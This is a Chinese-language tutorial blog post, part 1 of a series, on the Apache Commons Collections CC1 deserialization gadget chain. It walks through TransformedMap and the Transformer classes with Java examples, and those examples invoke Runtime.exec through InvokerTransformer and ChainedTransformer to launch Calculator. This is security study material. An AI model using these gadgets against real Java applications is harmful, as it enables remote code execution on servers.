java--CommomCollections1 入门学习--part1

介绍:Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。

可以自行安装或者使用ysoserial。

前置知识:

这个java标准库是针对于Map进行操作,所以我们需要了解其常用的类。

  1. TransformedMap
  2. Transformer
  3. InvokerTransformer
  4. ConstantTransformer
  5. ChainedTransformer

1.TransformedMap

org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。

代码示例:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static Transformer keyTransformer = input ->{//将数字加1
        int num = (int) input;
        num+=1;
        return (Object) num;
    };
    public static Transformer valueTransformer = input ->{ //在字符串后面拼接一个0
        String str = input.toString();
        return str + "0";
    };

    public static void main(String[] args){
        HashMap map = new HashMap();
        map.put(1,"zyer");
        System.out.println("初始化HashMap:" + map);
        Map new_map = TransformedMap.decorate(map,keyTransformer,valueTransformer);
        new_map.put(2,"xiaoming");
        System.out.println("transformed map:" + new_map);
        new_map.put(3,"xiaohua");
        System.out.println("transformed map:" + new_map);
        new_map.remove(1);
        System.out.println("transformed map:" + new_map);
    }
}

通过使用TransformedMap.decorate方法,实现对初始集合进行相应的处理,练习过程可以将这两个修饰的Transformer改变位置或设置成null,能更好的理解。

2.Transformer

org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。

通俗来讲就是一个变换函数,在CommonCollections4.4中提供了如下的Transformer供使用

下面就是介绍我们在反序列化的时候可以利用的Transformer 

3.InvokerTransformer

使用反射创建一个新对象

上面的InvokerTransformer用来接收参数,下面的transform用来对其进行变换,通过之前对反射的学习,可以了解到method.invoke()方式,如果我们可以控制传入的Object和参数,那么我们就可以执行命令

利用InvokerTransformer进行命令执行代码示例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
    public static void main(String[] args)  {
        Transformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        transformer.transform(Runtime.getRuntime());

    }
}

对上面代码的理解:

首先新建一个 InvokerTransformer对象并传入三个参数,第一个参数是methodname即方法名,第二个参数是paramTypes,是一个Class对象,因为exec的参数是String类型的参数,所以我们传入String.class,第三个参数是args即参数,是一个Object[ ]对象,然后可以使用这个对象传入我们的字符串参数。

transformer.transform 方法是输入一个Object对象,然后获取到对应方法,使用method.invoke(obj,args) 反射的方式将其执行。

4.ConstantTransformer

这是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。

所以它的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

 5.ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串 在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。


做一个简单的利用,不使用反射利用,个人认为有点不好理解,等再学习几天的。

package com.zyer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args){
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerchain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        Map outermap =  TransformedMap.decorate(innermap,null,transformerchain);
        outermap.put("zyer","123");


        }
    }


参考p神的例子,这样理解起来确实好理解,因为一个利用链不可能就使用一个类就直接可以实现,而且这个CommonCollections主要是针对map来包装修饰,那么我们需要一个原始的map,然后建立我们的Transformer,并使用ChainedTransformer将其拼接在一起使用,

那么对ChainedTransformer(transformers)的理解就是:ConstantTransformer是获取一个类对象,因为他在ChainedTransformer中,那么它就会将这个对象传递下去,又因为InvokerTransformer在执行transform的时候需要一个Object input,那么正好就是ConstantTransformer传进来的对象。

然后新建一个map对其使用TransformedMap.decorate方法进行修饰,然后当map中的值有变化时(包括增加,删除等操作),就会触发这个transformerchain,导致弹计算器。


参考su18师傅(Java 反序列化漏洞(二) - Commons Collections | 素十八) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值